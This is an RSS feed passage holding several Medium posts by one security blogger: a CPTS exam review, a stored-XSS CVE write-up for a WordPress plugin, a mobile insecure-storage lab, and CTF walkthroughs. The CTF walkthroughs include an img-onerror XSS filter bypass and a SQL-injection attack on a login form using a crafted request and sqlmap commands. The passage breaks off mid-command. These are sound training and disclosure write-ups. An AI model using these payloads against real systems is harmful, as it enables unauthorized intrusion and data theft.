kita akan membedah metode eksploitasi dan mitigasi yang lebih <em>advanced</em>!</p><p><em>Terima kasih juga kepada AI yang sudah menjadi teman diskusi untuk mempercepat proses riset ini. Sampai jumpa di tulisan berikutnya, dan jangan lupa jaga kesehatan, teman-teman!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d274065690a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CPTS still be worth it in 2026?]]></title>
            <link>https://medium.com/@ganugrah233/cpts-still-be-worth-it-in-2026-19c29e69e060?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/19c29e69e060</guid>
            <category><![CDATA[htb-cpts]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cpt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 07:08:36 GMT</pubDate>
            <atom:updated>2026-04-08T07:11:15.637Z</atom:updated>
            <content:encoded><![CDATA[<p>A raw reflection on the 10-day grind, the evolution of Active Directory attacks, and why reporting is your secret weapon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z57pdp2aHTGZ2xLcu8lW6w.jpeg" /></figure><h3>🚀 Introduction</h3><p>On March 29th, 2026, I stepped into the arena of the <strong>HTB Certified Penetration Testing Specialist (CPTS)</strong> exam.</p><p>After 10 intense days of exploitation, complex pivoting, and meticulous reporting, I finally received the email every offensive security enthusiast dreams of:</p><blockquote><strong><em>✅ Exam Status: Passed</em></strong></blockquote><p>This isn’t just another certification review. It’s a real-world reflection on whether the CPTS holds its ground in the rapidly shifting landscape of 2026.</p><h3>🧠 The Reality of the CPTS Workflow</h3><p>CPTS doesn’t just test if you can “hack.” It tests if you can be a <strong>professional</strong>. It simulates a full-scale penetration testing engagement from start to finish:</p><ol><li><strong>Reconnaissance:</strong> Finding the needle in the haystack.</li><li><strong>Vulnerability Discovery:</strong> Moving past automated scanners.</li><li><strong>Exploitation:</strong> Getting that initial foothold.</li><li><strong>Post-Exploitation &amp; Pivoting:</strong> Deep diving into the internal network.</li><li><strong>Professional Reporting:</strong> Proving your value to the client.</li></ol><p>However, aside from the list above, CPTS is all about enumeration, enumeration, and enumeration — 99 times over.</p><h3>🔍 Why CPTS Still Reigns Supreme in 2026</h3><h3>1. 🌐 Web Exploitation is Still King</h3><p>Despite the rise of AI-driven defenses, web applications remain the primary attack surface. CPTS pushes you deep into:</p><ul><li><strong>Chaining Vulnerabilities:</strong> Linking a file upload with a filter bypass.</li><li><strong>Injection:</strong> Moving beyond basic SQLi into complex server-side flaws.</li><li><strong>Business Logic Vuln:</strong> Testing the feature and see what we can do, not just the payload.</li></ul><h3>2. 🏢 Deep Active Directory (AD) Mastery</h3><p>In 2026, Active Directory remains the backbone of the enterprise. The CPTS exam forces you to master:</p><ul><li><strong>Enumeration:</strong> Understanding the environment better than the admins.</li><li><strong>Lateral Movement:</strong> Navigating the maze of permissions and trusts.</li><li><strong>Privilege Escalation:</strong> From a low-level user to Domain Admin.</li></ul><h3>3. 🔄 The Art of Pivoting</h3><p>This is where most candidates fail. Real networks are segmented. CPTS teaches you how to “live off the land” using:</p><ul><li><strong>Network Tunneling</strong></li><li><strong>Multi-hop Pivoting</strong></li></ul><h3>4. 📝 The Reporting Standard: Why Quality is Everything</h3><p>One thing you need to understand about the CPTS is that <strong>the HTB grading team is exceptionally strict.</strong> You can capture all the flags and root every machine, but if your report is sloppy, you will fail.</p><p>The report is not just a formality; it is the final deliverable of a professional engagement.</p><h3>🔬 Focus on a Detailed Walkthrough</h3><p>When writing your report, imagine you are explaining the vulnerability to someone who needs to reproduce it exactly.</p><ul><li><strong>Step-by-Step Clarity:</strong> Your walkthrough must be clear and detailed. If a grader cannot replicate your exploit by following your steps, your report will likely be rejected.</li><li><strong>Explain the “Why”:</strong> Don’t just show a screenshot of a shell. Explain what the vulnerability is, why it exists, and how you discovered it.</li><li><strong>Clean Documentation:</strong> Use clear screenshots, highlight the important parts (IP addresses, specific commands, or sensitive data), and maintain a professional tone throughout.</li></ul><h3>🛡️ Remediation Matters</h3><p>A professional penetration tester doesn’t just break things; they help fix them.</p><ul><li>Avoid generic “update your software” advice.</li><li>Provide <strong>specific, actionable remediation</strong> for each finding.</li><li>Explain how the fix mitigates the risk and, if possible, provide code snippets or configuration changes that the client can actually use.</li></ul><blockquote><strong><em>Pro-Tip:</em></strong><em> Treat the report as if your career depends on it — because in the exam (and in the industry), it actually does. If your report isn’t “client-ready,” it’s not finished.</em></blockquote><h3>🧩 Critical Thinking vs. Memorization</h3><p>The real value of CPTS isn’t the certificate — it’s the <strong>brain rewiring</strong>. It trains you to:</p><ul><li><strong>Adapt:</strong> When your first exploit fails (and it will).</li><li><strong>Chain:</strong> Connecting three minor bugs to create one critical impact.</li><li><strong>Endure:</strong> Maintaining focus during a 10-day marathon.</li></ul><h3>💡 Beyond the Academy: The “Swiss Army Knife” Mindset</h3><p>While the Hack The Box Academy curriculum is incredibly comprehensive and technically sufficient to pass, being a “Specialist” means knowing more than just the “standard” way of doing things.</p><p>The exam — and the real world — will throw curveballs at you. My biggest advice? <strong>Don’t be a one-trick pony.</strong></p><h3>🔄 Think in Scenarios, Not Just Tools</h3><p>If <strong>Scenario A</strong> fails, don’t just keep banging your head against the same wall. You need to be ready to shift your perspective and execute <strong>Scenario B</strong>.</p><p>For example, when dealing with <strong>Cross Forest Trust Attacks</strong>, the environment might have constraints that make the “standard” method impossible. You need to understand the underlying mechanics so well that you can switch techniques seamlessly.</p><h3>📖 Diversify Your Sources</h3><p>Don’t let HTB be your only teacher. Supplement your learning with:</p><ul><li><strong>Ired.team</strong> (Red Teaming Notes)</li><li><strong>The Inndark / PayloadAllTheThings</strong> GitHub repos</li><li><strong>Official Microsoft Documentation</strong> (to understand the “why” behind the AD flaws)</li></ul><p>HTB Academy gives you the map, but you need to build the intuition to navigate when the path gets blocked. Curiosity is your best exploit.</p><h3>📅 My CPTS Timeline</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*RU6S_mkx4F7N80bBYtJSEQ.png" /><figcaption>Good Email From HTB</figcaption></figure><p><strong>Phase Date Activity Start : </strong>March 29, 2026<br><strong>Result : </strong>7<strong> </strong>April 2026 <strong>PASSED</strong></p><h3>⚖️ The Honest Verdict</h3><p><strong>Is CPTS still worth it in 2026? Absolutely.</strong></p><p>It is not easy. It is not theory-based. It is a grueling, realistic, and deeply rewarding experience. In a world of automated tools, the ability to think critically and exploit manually is what makes you irreplaceable.</p><p><strong>Ready to start your journey?</strong></p><p>Check out the <a href="https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist">Official HTB Academy Page</a>.</p><h3>💰 Cost &amp; Requirements</h3><p>Earning the CPTS is an investment, and HTB uses a “Cube” system for their Academy modules. Here is the breakdown of what you need to prepare:</p><h3>1. The Learning Path</h3><p>You <strong>must</strong> complete 100% of the <strong>“Penetration Tester”</strong> Job Role Path to unlock the exam. There are two ways to access these modules:</p><ul><li><strong>Student Plan:</strong> If you have a valid .edu email, you can subscribe for only <strong>$8/month</strong>. This gives you access to all Tier I and Tier II modules (which covers the entire CPTS path).</li><li><strong>Standard (Non-Student):</strong> You can purchase <strong>Cubes</strong> to unlock modules individually, or subscribe to a monthly/annual plan (Silver or Gold) to get a monthly Cube allowance.</li></ul><h3>2. The Exam Voucher</h3><ul><li><strong>Price:</strong> <strong>$210</strong> (Standard price for a single attempt).</li><li><strong>Note:</strong> If you choose the <strong>Silver Annual Subscription</strong> ($490/year), it usually includes one exam voucher (CPTS/CDSA/CWES) along with access to the modules.</li></ul><blockquote><strong><em>⚠️ Important:</em></strong><em> Unlike some other certifications, you cannot just buy the exam and take it. You are required to grind through the Academy modules first to ensure you have the necessary methodology.</em></blockquote><h3>✍️ Final Thoughts</h3><p>Passing the CPTS is more than a badge on LinkedIn; it’s proof that you can think, operate, and report like a professional.</p><p><strong>Have you taken the CPTS or are you planning to? Let’s discuss in the comments!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19c29e69e060" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024–39626 :WordPress Pretty Simple Popup Builder Plugin <= 1.0.9-Stored]]></title>
            <link>https://medium.com/@ganugrah233/cve-2024-39626-wordpress-pretty-simple-popup-builder-plugin-1-0-9-stored-732819c0e850?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/732819c0e850</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[patchstack]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[wordpress-hacking]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Mon, 25 Nov 2024 12:27:51 GMT</pubDate>
            <atom:updated>2024-11-26T02:02:56.896Z</atom:updated>
            <content:encoded><![CDATA[<h3><a href="https://www.cve.org/CVERecord?id=CVE-2024-39626">CVE-2024–39626</a> :WordPress Pretty Simple Popup Builder Plugin &lt;= 1.0.9-Stored Cross Site Scripting (XSS)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3Gi1usDkOBdCn2qDUB3Mw.png" /><figcaption><a href="https://www.cve.org/CVERecord?id=CVE-2024-39626">CVE-2024–39626</a> :WordPress Pretty Simple Popup Builder Plugin &lt;= 1.0.9-Stored Cross Site Scripting (XSS)</figcaption></figure><h3>About Plugins</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*fSgYYr7NNDZV7yjDVLH1dQ.png" /><figcaption>Pretty Simple Popup Builder</figcaption></figure><ul><li>Plugins name : Wordpress Pretty Simple Popup Builder</li><li>Affected Version : ≤ 1.0.9</li><li>Plugins Url : <a href="https://wordpress.org/plugins/pretty-simple-popup-builder/">https://wordpress.org/plugins/pretty-simple-popup-builder/</a></li></ul><h3><strong>Summary About Vulnerability I Found</strong></h3><p>Backend code when create the new pop up with administrator roles is vulnerable for Stored XSS. Everyone get the pop up XSS when visited the homepage.</p><h3><strong>Vulnerable Code</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oObhaiMW1QKrhu9OY7bmgg.png" /><figcaption>Vulnerable Code</figcaption></figure><p>The spesific vuln code is <strong>esc_attr(get_option( ‘_psp_description’ ))</strong>, it’s directly execute input without sanitization, <strong>esc_attr()</strong> is a secure function when used with proper sanitization.</p><h3>Attack Scenario</h3><ol><li>In Administrator Page go to <strong>Pretty Simple Popup</strong> menu</li><li>Fill all the form with XSS script ( simple script valid for attack ), whay all form ?, all the form using the same func for ask input</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*58w3KIxQOQnTLGw843i15A.png" /></figure><p>3. This the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkWVk0E6Ijs66hl35YCbtg.png" /></figure><h3>Timeline</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*S9_fOkGSsaRtBwP1JTjt_w.png" /></figure><h3>Support me</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*lVq7Y2htcx8v4noPAO05TQ.png" /><figcaption><a href="https://buymeacoffee.com/m1kasha">https://buymeacoffee.com/m1kasha</a></figcaption></figure><h3>Link to CVE</h3><p><a href="https://patchstack.com/database/vulnerability/pretty-simple-popup-builder/wordpress-pretty-simple-popup-builder-plugin-1-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve">https://patchstack.com/database/vulnerability/pretty-simple-popup-builder/wordpress-pretty-simple-popup-builder-plugin-1-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=732819c0e850" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Data Storage]]></title>
            <link>https://medium.com/@ganugrah233/insecure-data-storage-254e815e4cd7?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/254e815e4cd7</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[insecure-data-storage]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Sat, 09 Nov 2024 10:29:15 GMT</pubDate>
            <atom:updated>2024-11-09T10:29:15.639Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Explain how insecure data storage can be dangerous in any</em> APK.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/0*b4zs4ejylu9orCfF.png" /></figure><p>Halo ges, kali ini gw bakal sedikit share salah satu kerentanan di <em>mobile</em> APK bernama<em> insecure data storage</em>. Kerentanan ini terjadi ketika aplikasi menyimpan data sensitif di penyimpanan <em>eksternal</em> atau area yang mudah diakses, seperti penyimpanan <em>internal</em> tetapi tanpa proteksi yang memadai. Umumnya, kerentanan ini muncul karena aplikasi meminta izin <em>READ_EXTERNAL_STORAGE</em> dan <em>WRITE_EXTERNAL_STORAGE</em>, sehingga data sensitif yang disimpan di penyimpanan <em>eksternal </em>bisa diakses oleh aplikasi lain atau pengguna tanpa izin tambahan. Kali ini gw bakal <em>perform</em> kerentanan ini pakek satu APK lab yang emang di desain <em>insecure</em>, bisa <em>download</em> di <a href="https://github.com/0xArab/diva-apk-file/blob/main/DivaApplication.apk"><strong>sini</strong></a>.</p><p>Beberapa tools yang gw pakai buat exploitasi kerentanan ini :</p><ul><li>ADB</li><li>NOX Player ( Emulator Android )</li><li>JADX GUI</li></ul><p>Tanpa lama-lama, kita langsung aja mulai exploitasi.</p><ol><li><em>Prepare</em></li></ol><p>Pertama buat install APK nya, bisa langsung <em>drag</em> aja ke NOX player nya atau bisa pakek adb dengan <em>command </em><strong>adb push &lt;nama_apk&gt; /sdcard/</strong>.</p><p>Abis itu coba buka APK nya dan mainin <em>challenges</em> yang nomer 3 seperti gambar di bawah</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*qEUdalNzEzwtvRL1rSFcqw.png" /></figure><p>2. <em>Information Gathering</em></p><p>Buka APK nya pakek JADK-GUI dan langsung cek ke <strong>Resources/AndroidManifest.xml</strong>, karena informasi umum aplikasi dan izin nya biasanya ada di bagian ini, jadi wajib buat ngecek pertama kali. Ketika di cek ternyata ada izin seperti berikut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEZb5EsFrS7BXPeuaDdq9w.png" /></figure><p>Terdapat dua izin yang menarik, yaitu izin<em> write</em> secara <em>external</em> dan <em>read</em> <em>external</em>. Bisa dilihat seperti berikut.</p><pre>&lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;/&gt;</pre><p>Namun dari sini belum bisa dipastikan, harus di cek dulu apakah ini valid. Selanjutnya, bisa cari fungsi yang berhubungan dengan <em>challenges</em>, bisa manfaatin fitur JADX buat search seperti berikut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBuH04AIZX-rrt-kxXD7PA.png" /></figure><p>di bagian <em>search definition</em> centang semua aja supaya hasil pencarian lebih detail. Bisa diliat dari gambar bahwa ada fungsi yang munkin aja berisi <em>logic </em>program buat<em> challenges</em> 3. Cobain buat klik fungsi itu hasilnya sebagai berikut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGGTbZlal5XMlq5wY9UBxw.png" /></figure><p>Ternyata penyimpanan yang dilakukan menggunakan <strong>SharedPreferences</strong>, dimana <em>default </em>dari penyimpanan ini adalah <strong>/data/data/&lt;package_name&gt;/shared_prefs</strong></p><p>Oke, sepertinya sudah ada pencerahan, sekarang kita coba <em>input</em> di APK nya dan cek apakah bisa baca hasil penyimpanan yang dilakukan.</p><p>3. <em>Exploitation</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*FAAypGSn9-TtH-y4aK57yQ.png" /></figure><p>Disini gw input kedua<em> form</em> dengan <strong>root</strong>. Bisa diliat sudah berhasil disimpan. Abis <em>input</em>, coba cek <em>path</em> yang tadi dibahas, ada kredensial yang tersimpan ga.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4nL41vv6GQaNmD3cuZI2Q.png" /></figure><p>Ternyata dugaan awal benar, kredensial memang disimpan pada default SharePreference sehingga bisa membaca inputan dari<em> user</em>.</p><p>4. Conclusion</p><p>Kerentanan ini berbahaya jika tidak diperhatikan karena <em>attacker</em> bisa membaca<em> sensitif data exposure </em>jika APK memang rentan</p><p>Terima kasih…..</p><p><em>Reference</em></p><p><a href="https://owasp.org/www-project-mobile-top-10/">OWASP Mobile Top 10 | OWASP Foundation</a></p><p><a href="https://developer.android.com/privacy-and-security/security-tips#StoringData">Security checklist | Android Developers</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=254e815e4cd7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How do You Know How Reverse Engineering Works From a Simple Challenges]]></title>
            <link>https://medium.com/@ganugrah233/how-do-you-know-how-reverse-engineering-works-from-a-simple-challenges-75b8dd9dcaa7?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/75b8dd9dcaa7</guid>
            <category><![CDATA[ctf-challenges]]></category>
            <category><![CDATA[reverse]]></category>
            <category><![CDATA[anaylze-code]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 09:26:40 GMT</pubDate>
            <atom:updated>2024-10-17T09:26:40.892Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*-LrOGprxtR7az3vAQdKEXA.png" /></figure><p>Hello everyone. Today i will show you my experience to learn reverse engineering from challenges called TryCrack.Me. This a awesome challenges make you learn RE from newbie to medium. I will show you how learn RE from simple basic challenges in this platfrom.</p><p>Given a source code from the challenge like below :</p><pre>                                <br>your_input = &quot;&quot;<br>password = &quot;&quot;<br>intPass = &quot;83,117,112,101,114,83,101,99,117,114,\<br>101,80,97,115,115,119,111,114,100,87,104,105,99,\<br>104,67,97,110,116,66,101,67,114,97,99,107,101,100,\<br>87,105,116,104,111,117,116,66,108,97,99,107,109,97,\<br>103,105,99&quot;<br> <br>intPass = intPass.split(&quot;,&quot;)<br> <br>for c in intPass:<br>    password = password + chr(int(c))<br>    <br>if your_input == password:<br>    print(&quot;Good job!&quot;)<br>    <br>else:<br>    print(&quot;Wrong password&quot;)</pre><p>What is the main purpose this challenge?, you should get real password and input to platform, if you have Good Job! result, you pass the challenge.</p><p>Let’s analyze</p><pre>password = &quot;&quot;<br>intPass = &quot;83,117,112,101,114,83,101,99,117,114,\<br>101,80,97,115,115,119,111,114,100,87,104,105,99,\<br>104,67,97,110,116,66,101,67,114,97,99,107,101,100,\<br>87,105,116,104,111,117,116,66,108,97,99,107,109,97,\<br>103,105,99&quot;<br> <br>intPass = intPass.split(&quot;,&quot;)<br> <br>for c in intPass:<br>    password = password + chr(int(c))</pre><p>from this code we know the code try to change int number in intPassto char type, so basically it’s ASCII code right?. We know all the char saved at the password variabel so what’s we do for get a real password?. Simple, just think what if we print the password?, can i get the real password?, let’s try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGwnDY3PwCdt4ZyJf28RCA.png" /><figcaption>Reverse The Code using Print Password Variabel</figcaption></figure><p>Yes, I guessed right, it’s show like the real password. Oke let’s input in the platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH9yrQ1vFTwDttupnbk_0g.png" /><figcaption>Check The Answer</figcaption></figure><p>Yeayyy we pass the challenges.</p><p>Happy Hacking……………..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75b8dd9dcaa7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Find XSS With White Box Technique ( Very Useful When I Hunting In Wordpress )]]></title>
            <link>https://medium.com/@ganugrah233/find-xss-with-white-box-technique-very-useful-when-i-hunting-in-wordpress-e5d7c2f12ca4?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5d7c2f12ca4</guid>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Wed, 25 Sep 2024 12:42:10 GMT</pubDate>
            <atom:updated>2024-09-25T12:42:10.004Z</atom:updated>
            <content:encoded><![CDATA[<p>Here i will explain how i found xss from reading source code in web flask framework based. By using one of the HTB web challenges, I hope to help those who read it.</p><p>First i unzip the .zip file with Dockerfile. Next i read the app.py is the main web file.</p><pre>import random, string<br>from flask import Flask, request, render_template, abort<br>from flask_socketio import SocketIO<br>from threading import Thread<br><br>app = Flask(__name__)<br><br>socketio = SocketIO(app)<br><br>registered_emails, socket_clients = [], {}<br><br>generate = lambda x: &quot;&quot;.join([random.choice(string.hexdigits) for _ in range(x)])<br>BOT_TOKEN = generate(16)<br><br>def blacklist_pass(email):<br>    email = email.lower()<br><br>    if &quot;script&quot; in email:<br>        return False<br><br>    return True<br><br><br>def send_flag(user_ip):<br>    for id, ip in socket_clients.items():<br>        if ip == user_ip:<br>            socketio.emit(&quot;flag&quot;, {&quot;flag&quot;: open(&quot;flag.txt&quot;).read()}, room=id)<br><br><br>def start_bot(user_ip):<br>    from selenium import webdriver<br>    from selenium.webdriver.chrome.options import Options<br>    from selenium.webdriver.chrome.service import Service<br>    from selenium.webdriver.support.ui import WebDriverWait<br>    from selenium.webdriver.support import expected_conditions as EC<br><br>    host, port = &quot;localhost&quot;, 1337<br>    HOST = f&quot;http://{host}:{port}&quot;<br><br>    options = Options()<br><br>    options.add_argument(&quot;--headless&quot;)<br>    options.add_argument(&quot;--no-sandbox&quot;)<br>    options.add_argument(&quot;--disable-dev-shm-usage&quot;)<br>    options.add_argument(&quot;--disable-infobars&quot;)<br>    options.add_argument(&quot;--disable-background-networking&quot;)<br>    options.add_argument(&quot;--disable-default-apps&quot;)<br>    options.add_argument(&quot;--disable-extensions&quot;)<br>    options.add_argument(&quot;--disable-gpu&quot;)<br>    options.add_argument(&quot;--disable-sync&quot;)<br>    options.add_argument(&quot;--disable-translate&quot;)<br>    options.add_argument(&quot;--hide-scrollbars&quot;)<br>    options.add_argument(&quot;--metrics-recording-only&quot;)<br>    options.add_argument(&quot;--mute-audio&quot;)<br>    options.add_argument(&quot;--no-first-run&quot;)<br>    options.add_argument(&quot;--dns-prefetch-disable&quot;)<br>    options.add_argument(&quot;--safebrowsing-disable-auto-update&quot;)<br>    options.add_argument(&quot;--media-cache-size=1&quot;)<br>    options.add_argument(&quot;--disk-cache-size=1&quot;)<br>    options.add_argument(&quot;--user-agent=HTB/1.0&quot;)<br><br>    service = Service(executable_path=&quot;/usr/bin/chromedriver&quot;)<br>    browser = webdriver.Chrome(service=service, options=options)<br><br>    try:<br>        browser.get(f&quot;{HOST}/bot?token={BOT_TOKEN}&quot;)<br><br>        WebDriverWait(browser, 3).until(EC.alert_is_present())<br><br>        alert = browser.switch_to.alert<br>        alert.accept()<br>        send_flag(user_ip)<br>    except Exception as e:<br>        pass<br>    finally:<br>        registered_emails.clear()<br>        browser.quit()<br><br><br>@app.route(&quot;/&quot;)<br>def index():<br>    return render_template(&quot;index.html&quot;)<br><br><br>@app.route(&quot;/api/register&quot;, methods=[&quot;POST&quot;])<br>def register():<br>    if not request.is_json or not request.json[&quot;email&quot;]:<br>        return abort(400)<br>    <br>    if not blacklist_pass(request.json[&quot;email&quot;]):<br>        return abort(401)<br><br>    registered_emails.append(request.json[&quot;email&quot;])<br>    Thread(target=start_bot, args=(request.remote_addr,)).start()<br>    return {&quot;success&quot;:True}<br><br><br>@app.route(&quot;/bot&quot;)<br>def bot():<br>    if request.args.get(&quot;token&quot;, &quot;&quot;) != BOT_TOKEN:<br>        return abort(404)<br>    return render_template(&quot;bot.html&quot;, emails=registered_emails)<br><br><br>@socketio.on(&quot;connect&quot;)<br>def on_connect():<br>    socket_clients[request.sid] = request.remote_addr<br><br><br>@socketio.on(&quot;disconnect&quot;)<br>def on_disconnect():<br>    del socket_clients[request.sid]<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=1337, debug=False)</pre><p>Simply this code is how you get the bot to spit out flag. Let see this section</p><pre>@app.route(&quot;/api/register&quot;, methods=[&quot;POST&quot;])<br>def register():<br>    if not request.is_json or not request.json[&quot;email&quot;]:<br>        return abort(400)<br>    <br>    if not blacklist_pass(request.json[&quot;email&quot;]):<br>        return abort(401)<br><br>    registered_emails.append(request.json[&quot;email&quot;])<br>    Thread(target=start_bot, args=(request.remote_addr,)).start()<br>    return {&quot;success&quot;:True}</pre><p>From this we know if you fill the email it will triger the bot to start, what’s the bot do? see below</p><pre>@app.route(&quot;/bot&quot;)<br>def bot():<br>    if request.args.get(&quot;token&quot;, &quot;&quot;) != BOT_TOKEN:<br>        return abort(404)<br>    return render_template(&quot;bot.html&quot;, emails=registered_emails)</pre><p>It will call bot.html, let see what the fill bot.html</p><pre>{% for email in emails %}<br>    &lt;span&gt;{{ email|safe }}&lt;/span&gt;&lt;br/&gt;<br>{% endfor %}</pre><p>So clearly, from this we know the email registered not have the sanitize to puts the email. But we know this section</p><pre>def blacklist_pass(email):<br>    email = email.lower()<br><br>    if &quot;script&quot; in email:<br>        return False<br><br>    return True</pre><p>so you can’t inject XSS payload with script payload, so i chooce the payload</p><pre>&lt;img src=x onerror=alert() &gt;</pre><p>let see in the web</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*WshF8EV34rcAHVYLNEXRnw.png" /></figure><p>Yes this section we notice to send the email filled to bot.html, let’s inject using XSS payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*JDPBXfUKAlKcUQVYM_9BPw.png" /></figure><p>Yes we success to trigered this section and then click OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*sdcaY4YhOPatzAhCqo9Qzg.png" /></figure><p>Yes you pass the challenges. The purpose this challenges is how you anaylze the code unsecured, in this challenges is bot.html puts the email without sanitize.</p><p>Happy hacking…………………</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5d7c2f12ca4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Perform SQL-Injection in Login Form With POST Request]]></title>
            <link>https://medium.com/@ganugrah233/how-to-perform-sql-injection-in-login-form-with-post-request-51864a12e459?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/51864a12e459</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Tue, 24 Sep 2024 13:50:08 GMT</pubDate>
            <atom:updated>2024-09-24T13:50:08.766Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone, here i will explain how perform SQLI in login form with one of HTB web challenge CTF called KORP terminal.</p><p>So first open the IP given by HTB we redirect to login form like below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1GiWLBafweLO49x3OMheA.png" /></figure><p>for the first time see the login form, try all credential default like</p><pre>admin : admin<br>user : user<br>admin : admin123<br></pre><p>but none of them can. So i try to use the payload SQLI tes’ and we look this response</p><pre>&quot;1064&quot;,&quot;1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#39;&#39;tes&#39;&#39;&#39; at line 1&quot;,&quot;42000&quot;</pre><p>Yes we know what’s do next now. Let’s using burp to try how make error to normal again. So i try to add order+by+1+--+- and we get response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7HbdOWIOJ9DnbWrsVfR6_A.png" /></figure><p>it’s work but when try to UNION BASED is not work, so i using SQLMAP here to look what payload success. Create the headers request as req.txt</p><pre>POST / HTTP/1.1<br>Host: 94.237.59.63:59463<br>Content-Length: 37<br>Cache-Control: max-age=0<br>Origin: http://94.237.59.63:59463<br>Content-Type: application/x-www-form-urlencoded<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Referer: http://94.237.59.63:59463/<br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7<br>Connection: keep-alive<br><br>username=tes&#39;*--+-&amp;password=tes</pre><p>after this run the sqlmap using sqlmap -r req.txt . We get the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uXva_sFZvNGwEPTLciNtNA.png" /></figure><p>So we know this vuln without UNION command. So let’s finishing using sqlmap.</p><pre>sqlmap -r req.txt --ignore-code=401 --batch --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*zdbdIEcp7bU3eqTPxge3VA.png" /></figure><pre>sqlmap -r req.txt 